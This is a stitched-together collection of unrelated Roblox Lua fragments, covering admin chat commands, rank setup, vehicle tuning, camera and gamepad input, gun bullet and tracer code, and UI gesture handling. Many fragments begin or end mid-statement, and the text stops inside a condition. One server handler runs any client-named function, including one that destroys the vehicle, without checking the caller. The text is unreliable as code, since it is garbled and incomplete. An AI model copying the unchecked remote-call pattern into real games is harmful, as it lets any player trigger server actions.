CurrentControllerLookAngle = ControllerLookAngle if Magnitude > MAGNITUDE_THRESHOLD then StartInput() ControllerX,ControllerY = X,Y ControllerMag = Magnitude else EndInput() end end end) function MoveControllerClass:Disconnect() UserInputEvent1:Disconnect() UserInputEvent2:Disconnect() end return MoveControllerClass end return MoveControllerCreator
--------AUDIENCE BACK RIGHT--------
game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--[=[ Observes all descendants that match a predicate @param parent Instance @param predicate ((value: Instance) -> boolean)? -- Optional filter @return Observable<Brio<Instance>> ]=]
function RxInstanceUtils.observeDescendants(parent, predicate) assert(typeof(parent) == "Instance", "Bad parent") assert(type(predicate) == "function" or predicate == nil, "Bad predicate") return Observable.new(function(sub) local maid = Maid.new() local added = {} local function handleDescendant(child) if not predicate or predicate(child) then added[child] = true sub:Fire(child, true) end end maid:GiveTask(parent.DescendantAdded:Connect(handleDescendant)) maid:GiveTask(parent.DescendantRemoving:Connect(function(child) if added[child] then added[child] = nil sub:Fire(child, false) end end)) for _, descendant in pairs(parent:GetDescendants()) do handleDescendant(descendant) end return maid end) end return RxInstanceUtils
--Yay! it finally went away! :)
if string.sub(msg,1,8) == "setgrav/" then danumber = nil for i =9,100 do if string.sub(msg,i,i) == "/" then danumber = i break end end if danumber == nil then return end local player = findplayer(string.sub(msg,9,danumber - 1),speaker) if player == 0 then return end for i = 1,#player do if player[i].Character ~= nil then local torso = player[i].Character:FindFirstChild("Torso") if torso ~= nil then local bf = torso:FindFirstChild("BF") if bf ~= nil then bf.force = Vector3.new(0,0,0) else local bf = Instance.new("BodyForce") bf.Name = "BF" bf.force = Vector3.new(0,0,0) bf.Parent = torso end local c2 = player[i].Character:GetChildren() for i=1,#c2 do if c2[i].className == "Part" then torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0) end end end end end end if string.sub(msg,1,10) == "walkspeed/" then danumber = nil for i =11,100 do if string.sub(msg,i,i) == "/" then danumber = i break end end if danumber == nil then return end local player = findplayer(string.sub(msg,11,danumber - 1),speaker) if player == 0 then return end for i = 1,#player do if player[i].Character ~= nil then humanoid = player[i].Character:FindFirstChild("Humanoid") if humanoid ~= nil then humanoid.WalkSpeed = string.sub(msg,danumber + 1) end end end end if string.sub(msg,1,7) == "damage/" then danumber = nil for i =8,100 do if string.sub(msg,i,i) == "/" then danumber = i break end end if danumber == nil then return end local player = findplayer(string.sub(msg,8,danumber - 1),speaker) if player == 0 then return end for i = 1,#player do if player[i].Character ~= nil then humanoid = player[i].Character:FindFirstChild("Humanoid") if humanoid ~= nil then humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1) end end end end if string.sub(msg,1,7) == "health/" then danumber = nil for i =8,100 do if string.sub(msg,i,i) == "/" then danumber = i break end end if danumber == nil then return end local player = findplayer(string.sub(msg,8,danumber - 1),speaker) if player == 0 then return end for i = 1,#player do if player[i].Character ~= nil then humanoid = player[i].Character:FindFirstChild("Humanoid") if humanoid ~= nil then local elnumba = Instance.new("IntValue") elnumba.Value = string.sub(msg,danumber + 1) if elnumba.Value > 0 then humanoid.MaxHealth = elnumba.Value humanoid.Health = humanoid.MaxHealth end elnumba:remove() end end end end
-- << LOCAL FUNCTIONS >>
local function playerAdded(player) -- Character Added player.CharacterAdded:Connect(function(character) --Check if any commands need re-activating local humanoid = character:WaitForChild("Humanoid") local pdata = main.pd[player] if pdata then for commandName,_ in pairs(pdata.CommandsActive) do local speaker = player local args = {player} local command = main.commands[string.lower(commandName)] main:GetModule("cf"):ExecuteCommand(speaker, args, command, {ExtraDetails = {DontForceActivate = true}}) --main:GetModule("Extensions"):SetupCommand(player, commandName, true) end for itemName, _ in pairs(pdata.Items) do main:GetModule("Extensions"):SetupItem(player, itemName, true) end end --Other wait(1) if settingUpPlayer[player] then repeat wait(0.1) until not settingUpPlayer[player] end end) --Check if loader banned local userId = player.UserId if main.banned[tostring(userId)] then player:Kick("\n\nYou're permanently banned from this game.\n\n") end -- Setup PlayerData settingUpPlayer[player] = true local pdata = main:GetModule("PlayerData"):SetupPlayerData(player) settingUpPlayer[player] = nil --Player Chatted if not main.players:GetPlayerByUserId(userId) then return end player.Chatted:Connect(function(message) main.signals.PlayerChatted:Fire(player, message) main:GetModule("Parser"):ParseMessage(player, message, true) end) --Setup Friends local friends = main:GetModule("cf"):GetFriends(userId) if not main.pd[player] then return end main.pd[player].Friends = friends -- Check if default settings have changed if not main.players:GetPlayerByUserId(userId) then return end for settingName, settingValue in pairs(pdata.DefaultSettings) do local defaultSettingValue = main.settings[settingName] --print(settingName.." : "..tostring(defaultSettingValue).." : ".. tostring(settingValue)) if defaultSettingValue ~= settingValue then main.pd[player].DefaultSettings[settingName] = defaultSettingValue main:GetModule("PlayerData"):ChangeStat(player, settingName, defaultSettingValue) end end -- main:GetModule("PlayerData"):ChangeStat(player, "SetupData", true) -- -- << SETUP RANKS >> --Owner if userId == main.ownerId or main:GetModule("cf"):FindValue(main.owner, userId) then main:GetModule("cf"):RankPlayerSimple(player, 8, true) if main.oldLoader then main.signals.ShowWarning:FireClient(player, "OldLoader") end end --Check if player has admin in this server local serverRank = main.serverAdmins[player.Name] if serverRank then main:GetModule("cf"):RankPlayerSimple(player, serverRank) end --Specific User local specificUserRank = main.permissions.specificUsers[player.Name] if specificUserRank then main:GetModule("cf"):RankPlayerSimple(player, specificUserRank, true) end --Gamepasses for gamepassId, gamepassInfo in pairs(main.permissions.gamepasses) do local hasGamepass = false if main:GetModule("cf"):FindValue(pdata.Gamepasses, gamepassId) then hasGamepass = true elseif main.marketplaceService:UserOwnsGamePassAsync(userId, gamepassId) then hasGamepass = true main:GetModule("PlayerData"):InsertStat(player, "Gamepasses", gamepassId) main:GetModule("cf"):CheckAndRankToDonor(player, pdata, gamepassId) end if hasGamepass then main:GetModule("cf"):RankPlayerSimple(player, gamepassInfo.Rank, true) end end --Assets if not main.players:GetPlayerByUserId(userId) then return end for assetId, assetInfo in pairs(main.permissions.assets) do local hasAsset = false if main:GetModule("cf"):FindValue(pdata.Assets, assetId) then hasAsset = true elseif main.marketplaceService:PlayerOwnsAsset(player, assetId) then hasAsset = true main:GetModule("PlayerData"):InsertStat(player, "Assets", assetId) end if hasAsset then main:GetModule("cf"):RankPlayerSimple(player, assetInfo.Rank, true) end end --Groups if not main.players:GetPlayerByUserId(userId) then return end for groupId, groupInfo in pairs(main.permissions.groups) do local roleName = player:GetRoleInGroup(groupId) if groupInfo.Roles[roleName] then main:GetModule("cf"):RankPlayerSimple(player, groupInfo.Roles[roleName].Rank, true) end end --Friends if not main.players:GetPlayerByUserId(userId) then return end for plrName, plrId in pairs(friends) do if plrId == main.ownerId then main:GetModule("cf"):RankPlayerSimple(player, main.permissions.friends, true) end end --VIPServers local vipServerOwnerId = game.VIPServerOwnerId if vipServerOwnerId ~= 0 then if userId == vipServerOwnerId then main:GetModule("cf"):RankPlayerSimple(player, main.permissions.vipServerOwner, true) else main:GetModule("cf"):RankPlayerSimple(player, main.permissions.vipServerPlayer, true) end end --Free admin local freeAdminRank = main.permissions.freeAdmin if tonumber(freeAdminRank) and freeAdminRank > 0 then main:GetModule("cf"):RankPlayerSimple(player, freeAdminRank, true) end -- << CHECK FOR SERVER LOCK >> if pdata.Rank < main.ranksAllowedToJoin then player:Kick("The server has been locked for ranks below '".. main:GetModule("cf"):GetRankName(main.ranksAllowedToJoin).."'") for i, plr in pairs(main.players:GetChildren()) do main.signals.Hint:FireClient(plr, {"Standard", "Server Lock: "..player.Name.." attempted to join! Rank = '"..main:GetModule("cf"):GetRankName(pdata.Rank).."'", Color3.fromRGB(255,255,255)}) end end -- << CHECK IF BANNED >> --local success, record = false, main.serverBans[main:GetModule("cf"):FindUserIdInRecord(main.serverBans, userId)] local success, record = pcall(function() return main.serverBans[main:GetModule("cf"):FindUserIdInRecord(main.serverBans, userId)] end) if not record then success, record = pcall(function() return main.sd.Banland.Records[main:GetModule("cf"):FindUserIdInRecord(main.sd.Banland.Records, userId)] end) end if success and record then main:GetModule("cf"):BanPlayer(player.UserId, record) end -- << CHECK PERM RANK AND RANK EXISTS >> if pdata.SaveRank and main:GetModule("cf"):GetRankName(pdata.Rank) == "" then main:GetModule("cf"):Unrank(player) end -- << START COLOUR >> wait(2) if not main.players:GetPlayerByUserId(userId) then return end --Setup start chat colour local plrChatColor for chatRankId, chatColor3 in pairs(main.settings.ChatColors) do if pdata.Rank == chatRankId then plrChatColor = chatColor3 break end end if plrChatColor then local speaker = main.chatService:GetSpeaker(player.Name) if not speaker then local maxRetries = 10 for i = 1,maxRetries do wait(0.5) if not main.players:GetPlayerByUserId(userId) then return end speaker = main.chatService:GetSpeaker(player.Name) if speaker then break end end end if speaker then speaker:SetExtraData("ChatColor", plrChatColor) end end -- << NOTICES >> wait(1) if not main.players:GetPlayerByUserId(userId) then return end if pdata.Rank > 0 and main.settings.WelcomeRankNotice ~= false then local rankName = main:GetModule("cf"):GetRankName(pdata.Rank) main:GetModule("cf"):FormatAndFireNotice(player, "WelcomeRank", rankName) end if pdata.Donor and main.settings.WelcomeDonorNotice ~= false then main:GetModule("cf"):DonorNotice(player, pdata) end --main.signals.FadeInIcon:FireClient(player) end
--[[ The stateUpdater accepts props when they update and computes the complete set of props that should be passed to the wrapped component. Each connected component will have a stateUpdater created for it. stateUpdater is put into the component's state in order for getDerivedStateFromProps to be able to access it. It is not mutated. ]]
local function makeStateUpdater(store) return function(nextProps, prevState, mappedStoreState) -- The caller can optionally provide mappedStoreState if it needed that -- value beforehand. Doing so is purely an optimization. if mappedStoreState == nil then mappedStoreState = prevState.mapStateToProps(store:getState(), nextProps) end local propsForChild = join(nextProps, mappedStoreState, prevState.mappedStoreDispatch) return { mappedStoreState = mappedStoreState, propsForChild = propsForChild, } end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 100 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=70 + car.DriveSeat.Velocity.Magnitude/40 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="u" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="z" and look==50 then look=0 elseif key=="x" and (look==-160 or look==-180) then look=0 elseif key=="c" and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween AimZoom = 60; -- Default zoom AimSpeed = 0.23; UnaimSpeed = 0.23; CycleAimZoom = 55; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
--F.updateSound = function(Sound, Pitch, Volume) -- if Sound then -- if Pitch then -- Sound.Pitch = Pitch -- end -- if Volume then -- Sound.Volume = Volume -- end -- end --end
F.lock = function(x) end local on = 0 F.rs = function(y) local tune = require(carSeat.Parent:FindFirstChild("A-Chassis Tune")) carSeat.IsOn.Value = y if y then carSeat.EngineStart:Play() if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*tune.IdleRPM/tune.Redline)*on^2 else car.DriveSeat.Rev.Pitch = 0 carSeat.EngineStart:Stop() end end F.user = function() carSeat.Parent:Destroy() end F.tk3 = function(b) carSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = 0 carSeat.Parent.Misc.TK2.SS.Motor.DesiredAngle = 0 end F.tk2 = function(b) carSeat.Parent.Misc.TK2.SS.Motor.DesiredAngle = b and -1.5 or 0 end F.tk = function(b) carSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = b and 1 or 0 end script.Parent.OnServerEvent:connect(function(Player, Func, ...) if F[Func] then F[Func](...) end end)
--- Skill
local UIS = game:GetService("UserInputService") local plr = game.Players.LocalPlayer local Mouse = plr:GetMouse() local Debounce = true Player = game.Players.LocalPlayer UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = false Tool.Active.Value = "LightBeam" Track1 = Player.Character.Humanoid:LoadAnimation(script.Anim01) Track1:Play() wait(0.27) script.Fire:FireServer(plr) local hum = Player.Character.Humanoid for i = 1,20 do wait() hum.CameraOffset = Vector3.new( math.random(1,1), math.random(1,1), math.random(1,1) ) end hum.CameraOffset = Vector3.new(0,0,0) Tool.Active.Value = "None" wait(7.5) Debounce = true end end)
-- This is in charge of the animations for the character. Pretty much stole it from the default character. Removed emote stuff.
function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local currentAnim = "" local currentAnimInstance = nil local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=180435571", weight = 9 }, { id = "http://www.roblox.com/asset/?id=180435792", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=180426354", weight = 10 } }, run = { { id = "run.xml", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=180436148", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=180436334", weight = 10 } }, sit = { { id = "http://www.roblox.com/asset/?id=178130996", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
---------------------[ TWEEN MODULE ]-------------------------------------------------
function tweenFoV(goal, frames) coroutine.resume(coroutine.create(function() SFn = SFn and SFn + 1 or 0 local SFn_S = SFn for i = 1, frames do if SFn ~= SFn_S then break end Camera.FieldOfView = Camera.FieldOfView + (goal - Camera.FieldOfView) * (i / frames) game:GetService("RunService").RenderStepped:wait() end end)) end function Lerp(n,g,t) return n+(g-n)*t end local RS = game:GetService("RunService") function tweenJoint(Joint, newC0, newC1, Alpha, Duration) spawn(function() local newCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000 local tweenIndicator = nil if (not Joint:findFirstChild("tweenCode")) then --If the joint isn't being tweened, then tweenIndicator = Instance.new("IntValue") tweenIndicator.Name = "tweenCode" tweenIndicator.Value = newCode tweenIndicator.Parent = Joint else tweenIndicator = Joint.tweenCode tweenIndicator.Value = newCode --If the joint is already being tweened, this will change the code, and the tween loop will stop end --local tweenIndicator = createTweenIndicator:InvokeServer(Joint, newCode) if Duration <= 0 then --If the duration is less than or equal to 0 then there's no need for a tweening loop if newC0 then Joint.C0 = newC0 end if newC1 then Joint.C1 = newC1 end else local Increment = 1.5 / Duration local startC0 = Joint.C0 local startC1 = Joint.C1 local X = 0 while true do RS.RenderStepped:wait() --This makes the for loop step every 1/60th of a second local newX = X + Increment X = (newX > 90 and 90 or newX) if tweenIndicator.Value ~= newCode then break end --This makes sure that another tween wasn't called on the same joint if (not Equipped) then break end --This stops the tween if the tool is deselected if newC0 then Joint.C0 = startC0:lerp(newC0, Alpha(X)) end if newC1 then Joint.C1 = startC1:lerp(newC1, Alpha(X)) end if X == 90 then break end end end if tweenIndicator.Value == newCode then --If this tween functions was the last one called on a joint then it will remove the code tweenIndicator:Destroy() end end) end function LoadClientMods() for L_335_forvar1, L_336_forvar2 in pairs(GunMods:GetChildren()) do if L_336_forvar2:IsA('LocalScript') then local L_337_ = L_336_forvar2:clone() L_337_.Parent = ModStorageFolder L_337_.Disabled = false end end end function UnloadClientMods() for L_335_forvar1, L_336_forvar2 in pairs(ModStorageFolder:GetChildren()) do if L_336_forvar2:IsA('LocalScript') then L_336_forvar2:Destroy() end end end function CheckForHumanoid(L_225_arg1) local L_226_ = false local L_227_ = nil if L_225_arg1 then if (L_225_arg1.Parent:FindFirstChildOfClass("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChildOfClass("Humanoid")) then L_226_ = true if L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') then L_227_ = L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') elseif L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') then L_227_ = L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') end else L_226_ = false end end return L_226_, L_227_ end function CreateShell() delay(math.random(4,8)/10, function() if PastaFX:FindFirstChild('ShellCasing') then local Som = PastaFX.ShellCasing:clone() Som.Parent = Jogador.PlayerGui Som.PlaybackSpeed = math.random(30,50)/40 Som.PlayOnRemove = true Debris:AddItem(Som, 0) end end) end local Tracers = 1 function TracerCalculation() local VisibleTracer if Settings.RandomTracer then if (math.random(1, 100) <= Settings.TracerChance) then VisibleTracer = true else VisibleTracer = false end else if Tracers >= Settings.TracerEveryXShots then VisibleTracer = true Tracers = 1 else Tracers = Tracers + 1 end end return VisibleTracer end function CreateBullet(BSpread) local Bullet = Instance.new("Part") Bullet.Name = Player.Name.."_Bullet" Bullet.CanCollide = false Bullet.Transparency = 1 Bullet.FormFactor = "Custom" Bullet.Size = Vector3.new(1,1,1) local BulletMass = Bullet:GetMass() local Force = Vector3.new(0,BulletMass * (196.2) - (Settings.BDrop) * (196.2), 0) local BF = Instance.new("BodyForce") BF.force = Force BF.Parent = Bullet local Origin = ArmaClone.SmokePart.Position local Direction = ArmaClone.SmokePart.CFrame.lookVector + (ArmaClone.SmokePart.CFrame.upVector * (((Settings.BDrop*Zeroing.Value/2.8)/Settings.BSpeed))/2) local BulletCF = CFrame.new(Origin, Origin + Direction) local balaspread = CFrame.Angles( RAD(RAND(-BSpread - ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier), BSpread + ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier)) / 20), RAD(RAND(-BSpread - ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier), BSpread + ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier)) / 20), RAD(RAND(-BSpread - ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier), BSpread + ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier)) / 20) ) Direction = balaspread * Direction Bullet.Parent = BulletModel Bullet.CFrame = BulletCF + Direction Bullet.Velocity = Direction * Settings.BSpeed local RainbowModeCode = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255)) local Visivel = TracerCalculation() if Settings.BulletFlare == true and Visivel then local bg = Instance.new("BillboardGui", Bullet) bg.Adornee = Bullet bg.Enabled = false local flashsize = math.random(275, 375)/10 bg.Size = UDim2.new(flashsize, 0, flashsize, 0) bg.LightInfluence = 0 local flash = Instance.new("ImageLabel", bg) flash.BackgroundTransparency = 1 flash.Size = UDim2.new(1, 0, 1, 0) flash.Position = UDim2.new(0, 0, 0, 0) flash.Image = "http://www.roblox.com/asset/?id=1047066405" if Settings.RainbowMode == true then flash.ImageColor3 = RainbowModeCode else flash.ImageColor3 = Settings.BulletFlareColor end flash.ImageTransparency = math.random(2, 5)/15 spawn(function() wait(.2) if Bullet:FindFirstChild("BillboardGui") ~= nil then Bullet.BillboardGui.Enabled = true end end) end if Settings.Tracer == true and Visivel then --and Visivel local At1 = Instance.new("Attachment") -- At1.Name = "At1" At1.Position = Vector3.new(0,-1,-8) --(-10,0,0) At1.Parent = Bullet local At2 = Instance.new("Attachment") -- At2.Name = "At2" At2.Position = Vector3.new(0,0,8) --(10,0,0) At2.Parent = Bullet local tracerBeam1 = Instance.new("Beam") tracerBeam1.Parent = Bullet tracerBeam1.Enabled = true tracerBeam1.FaceCamera = true tracerBeam1.Color = ColorSequence.new(Settings.TracerColor) tracerBeam1.Texture = "http://www.roblox.com/asset/?id=1847258023" tracerBeam1.LightEmission = 1 tracerBeam1.LightInfluence = 0 tracerBeam1.TextureLength = 1 tracerBeam1.TextureSpeed = 0 tracerBeam1.TextureMode = Enum.TextureMode.Stretch tracerBeam1.Attachment0 = At2 tracerBeam1.Attachment1 = At1 tracerBeam1.Segments = 2 tracerBeam1.Width0 = 1 tracerBeam1.Width1 = 3 tracerBeam1.CurveSize0 = 0 tracerBeam1.CurveSize1 = 0 tracerBeam1.Transparency = NumberSequence.new(0) local tracerBeam2 = tracerBeam1:Clone() tracerBeam2.Parent = Bullet -- print("tracer ran")
-- Initialize client-side control of the aircraft
function Init() guiController:Start(speeder) engine.Throttle = 0 -- Setup boost maxBoostAmount = engine._settings.BoostAmount boostAmount = engine._settings.BoostAmount if IS_MOBILE then -- Hide mobile controls UserInputService.ModalEnabled = true end -- If on PC (not console nor mobile) if (not IS_MOBILE and not IS_CONSOLE) then guiController:SetUsingGamepad(Gamepad.IsConnected) Gamepad.Connected:Connect(function() guiController:SetUsingGamepad(true) GetInput = GetGamepadInput end) Gamepad.Disconnected:Connect(function() guiController:SetUsingGamepad(false) GetInput = GetKeyboardInput end) end -- Input function if IS_CONSOLE then GetInput = GetGamepadInput elseif IS_MOBILE then GetInput = GetMobileInput else GetInput = (Gamepad.IsConnected and GetGamepadInput or GetKeyboardInput) end -- Start listeners for RenderUpdate and Heartbeat physicsUpdateHandle = RunService.Heartbeat:Connect(PhysicsUpdate) humanoid.Died:Connect(function() dead = true end) end -- Init()
--[[-------------------------------------------------------------------- -- struct DumpState: -- L -- lua_State (not used in this script) -- writer -- lua_Writer (chunk writer function) -- data -- void* (chunk writer context or data already written) -- strip -- if true, don't write any debug information -- status -- if non-zero, an error has occured ----------------------------------------------------------------------]]
-------------------------
function onClicked() R.Function1.Disabled = true R.Function2.Disabled = false R.BrickColor = BrickColor.new("Institutional white") N.One1.BrickColor = BrickColor.new("Really black") N.One2.BrickColor = BrickColor.new("Really black") N.One4.BrickColor = BrickColor.new("Really black") N.One8.BrickColor = BrickColor.new("Really black") N.Four1.BrickColor = BrickColor.new("Really black") N.Two1.BrickColor = BrickColor.new("Really black") end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[ This is a script that makes an anchored brick rotate! Just resize the brick to your desired size! This script was made by ProjectTwo Free for anyone to use! ]]
while true do wait() script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0, math.pi/100, 0) end
-- Setup gesture area that camera uses while DynamicThumbstick is enabled
local function OnCharacterAdded(character) if UserInputService.TouchEnabled then for _, child in ipairs(LocalPlayer.Character:GetChildren()) do if child:IsA("Tool") then IsAToolEquipped = true end end character.ChildAdded:Connect(function(child) if child:IsA("Tool") then IsAToolEquipped = true end end) character.ChildRemoved:Connect(function(child) if child:IsA("Tool") then IsAToolEquipped = false end end) if PlayerGui then local TouchGui = PlayerGui:FindFirstChild("TouchGui") if TouchGui and TouchGui:WaitForChild("GestureArea", 0.5) then GestureArea = TouchGui.GestureArea GestureAreaManagedByControlScript = true else GestureAreaManagedByControlScript = false local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "GestureArea" ScreenGui.Parent = PlayerGui GestureArea = Instance.new("Frame") GestureArea.BackgroundTransparency = 1.0 GestureArea.Visible = true GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0) layoutGestureArea(PortraitMode) GestureArea.Parent = ScreenGui end end end end if LocalPlayer then if LocalPlayer.Character ~= nil then OnCharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:connect(function(character) OnCharacterAdded(character) end) end local function positionIntersectsGuiObject(position, guiObject) if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X and position.X > guiObject.AbsolutePosition.X and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y and position.Y > 